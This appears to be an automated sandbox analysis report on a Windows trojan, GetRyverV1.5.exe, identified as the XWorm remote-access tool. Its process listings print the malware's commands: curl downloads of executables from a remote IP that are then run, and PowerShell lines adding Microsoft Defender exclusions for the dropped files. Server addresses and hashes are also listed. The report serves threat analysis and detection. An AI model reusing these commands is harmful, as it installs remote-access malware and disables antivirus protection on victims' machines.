Malware Analysis Report

2024-09-11 15:14

Sample ID 240609-mazw6ahc3v
Target GetRyverV1.5.exe
SHA256 68f7a4ce68d84bdde71cb6543d90e5e0e08602db22f9b6388d31876c601fac31
Tags
xworm execution rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

68f7a4ce68d84bdde71cb6543d90e5e0e08602db22f9b6388d31876c601fac31

Threat Level: Known bad

The file GetRyverV1.5.exe was found to be: Known bad.

Malicious Activity Summary

xworm execution rat trojan

Xworm

Detect Xworm Payload

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

Executes dropped EXE

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Unsigned PE

Delays execution with timeout.exe

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Web Service
T1102
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-09 10:16

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-09 10:16

Reported

2024-06-09 10:18

Platform

win7-20240221-en

Max time kernel

48s

Max time network

17s

Command Line

"C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe"

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2164 wrote to memory of 2844 N/A C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe C:\Windows\system32\cmd.exe
PID 2164 wrote to memory of 2844 N/A C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe C:\Windows\system32\cmd.exe
PID 2164 wrote to memory of 2844 N/A C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe C:\Windows\system32\cmd.exe
PID 2164 wrote to memory of 2844 N/A C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe C:\Windows\system32\cmd.exe
PID 2844 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\dllhost.exe
PID 2844 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\dllhost.exe
PID 2844 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\dllhost.exe

Processes

C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe

"C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\E53.tmp\E54.tmp\E55.bat C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe"

C:\Windows\system32\dllhost.exe

dllhost.exe

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\E53.tmp\E54.tmp\E55.bat

MD5 ba84b52de7e1626e2d87c18fe32130ff
SHA1 839fa2fe90972438c05f445bca7fc000d9380e60
SHA256 508966997c99a47cf96eb518e366263bf4f2a858ef1b0381ec7563a5acb52b1c
SHA512 6bce4db9398a974dbd5c7da4916b4516f59ad5131c5fbd6a9eaa569e36c370508e4ceb2e890abf242b28b1688eec118ea2eafcdf073de3e00c0f54fd9a9352fe

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-09 10:16

Reported

2024-06-09 10:18

Platform

win10v2004-20240508-en

Max time kernel

3s

Max time network

73s

Command Line

"C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\dllhost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Ryver.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\dllhost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2668 wrote to memory of 4544 N/A C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe C:\Windows\system32\cmd.exe
PID 2668 wrote to memory of 4544 N/A C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe C:\Windows\system32\cmd.exe
PID 4544 wrote to memory of 3972 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4544 wrote to memory of 3972 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4544 wrote to memory of 1312 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\dllhost.exe
PID 4544 wrote to memory of 1312 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\dllhost.exe
PID 4544 wrote to memory of 2548 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4544 wrote to memory of 2548 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4544 wrote to memory of 544 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\Ryver.exe
PID 4544 wrote to memory of 544 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\Ryver.exe

Processes

C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe

"C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4297.tmp\4298.tmp\4299.bat C:\Users\Admin\AppData\Local\Temp\GetRyverV1.5.exe"

C:\Windows\system32\curl.exe

curl -s -o dllhost.exe "http://176.96.137.11:4000/download/wlms1.exe"

C:\Users\Admin\AppData\Roaming\dllhost.exe

dllhost.exe

C:\Windows\system32\curl.exe

curl -s -o Ryver.exe "http://176.96.137.11:4000/download/RyverV.exe"

C:\Users\Admin\AppData\Roaming\Ryver.exe

Ryver.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\dllhost.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'dllhost.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\dlhost.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'dlhost.exe'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB4E8.tmp.bat""

C:\Windows\system32\timeout.exe

timeout 3

Network

Country Destination Domain Proto
DE 176.96.137.11:4000 176.96.137.11 tcp
DE 176.96.137.11:4000 176.96.137.11 tcp
US 8.8.8.8:53 11.137.96.176.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 104.20.4.235:443 pastebin.com tcp
US 8.8.8.8:53 235.4.20.104.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
DE 45.157.232.173:7000 tcp
US 8.8.8.8:53 173.232.157.45.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\4297.tmp\4298.tmp\4299.bat

MD5 ba84b52de7e1626e2d87c18fe32130ff
SHA1 839fa2fe90972438c05f445bca7fc000d9380e60
SHA256 508966997c99a47cf96eb518e366263bf4f2a858ef1b0381ec7563a5acb52b1c
SHA512 6bce4db9398a974dbd5c7da4916b4516f59ad5131c5fbd6a9eaa569e36c370508e4ceb2e890abf242b28b1688eec118ea2eafcdf073de3e00c0f54fd9a9352fe

C:\Users\Admin\AppData\Roaming\dllhost.exe

MD5 c7b045a92e4f1780ce409642192fb1a3
SHA1 d613436696924d2043a1768bdd6b827469452095
SHA256 eebba8993db2db1945dc7ffd2c2429aebe40852c59f91c078e569e61215b76e1
SHA512 8238d0c10c5b1fa8bc7ed9e8aba644e7e76fa8c223bf0c63c32c0d4ac4a8a5334190a34774f14ee3d7bd06025aece563246ab656f31dd59e63936ff485177763

memory/1312-7-0x00007FFF9E5A3000-0x00007FFF9E5A5000-memory.dmp

memory/1312-6-0x00000000001B0000-0x00000000001C0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Ryver.exe

MD5 11826f03c8975e2c421a1c2087f10f08
SHA1 a97caf38e8025be39ddfbfdadf3b9e4ff1c383ff
SHA256 8d83d62dc178f8b63d70e8a9cc06b42a19f4021ef0dbee047ccdc4b2aaea8247
SHA512 ce44eeb6f9c324b9c46698795402ceca3307e3d6f85ce7aa0ebb63562d1ef435314852a9aed345088ffacf1213839de21c364488a19770fef2bc9cd31af46b21

memory/544-12-0x00007FF799110000-0x00007FF799381000-memory.dmp

memory/1312-13-0x00007FFF9E5A0000-0x00007FFF9F061000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vrngd4o5.wcn.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3264-23-0x000002022F320000-0x000002022F342000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 a43e653ffb5ab07940f4bdd9cc8fade4
SHA1 af43d04e3427f111b22dc891c5c7ee8a10ac4123
SHA256 c4c53abb13e99475aebfbe9fec7a8fead81c14c80d9dcc2b81375304f3a683fe
SHA512 62a97e95e1f19a8d4302847110dae44f469877eed6aa8ea22345c6eb25ee220e7d310fa0b7ec5df42356815421c0af7c46a0f1fee8933cc446641800eda6cd1b

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 1957d397ac64fd619fd8fb5d10776949
SHA1 3e01d5eabfea99a65399957ad46e88406852c795
SHA256 893994817ee8ebc559ef13505a14ba45fe430d7d7e0108580cd59958b9a3d66f
SHA512 c73887578ee816150e9209c1fc880a9d8ed44e08c9a4c41369a979dfdb594ebeb7dd8c64eb7c6f27e6d21f03076130f333d97fbb48e2e9b9d84a4679b0ea34be

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 34f595487e6bfd1d11c7de88ee50356a
SHA1 4caad088c15766cc0fa1f42009260e9a02f953bb
SHA256 0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d
SHA512 10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 da185fddf7e751e39023edde12930f37
SHA1 657fcb7fda401b69d3bb97e7b6abf126ac36d4b2
SHA256 8928226805a92acd76d21e1a276176d9af3ca1ec31f14e45a2b4b88f4722cad5
SHA512 db7bc02a1bd86d587840a56334dee9cb80aa0a8635cd2eb1c490bc5466659350de4d625f320731e34fac235016515d0dddc05a6081149dc6c2e82c262be6b975

memory/1312-61-0x00007FFF9E5A3000-0x00007FFF9E5A5000-memory.dmp

memory/544-62-0x00007FF799110000-0x00007FF799381000-memory.dmp

memory/1312-63-0x00007FFF9E5A0000-0x00007FFF9F061000-memory.dmp

memory/1312-69-0x00007FFF9E5A0000-0x00007FFF9F061000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmpB4E8.tmp.bat

MD5 4bd3f2e68f75f26229dddd5cd3834986
SHA1 7325cc6a3d92258ba7c7d732964e93b8038635bd
SHA256 37209f4102e5546b7f6f13a7a2f96c0196156e455891ed8d7c375b55049c0c65
SHA512 1f4dad87270a20edb455aa8f47e0c54e5f39ae2ced246b6d293d183fba8279145834dc0b1a628eb88fda1e873531feddbd426a96bb8a09d1688012f3ae728c8d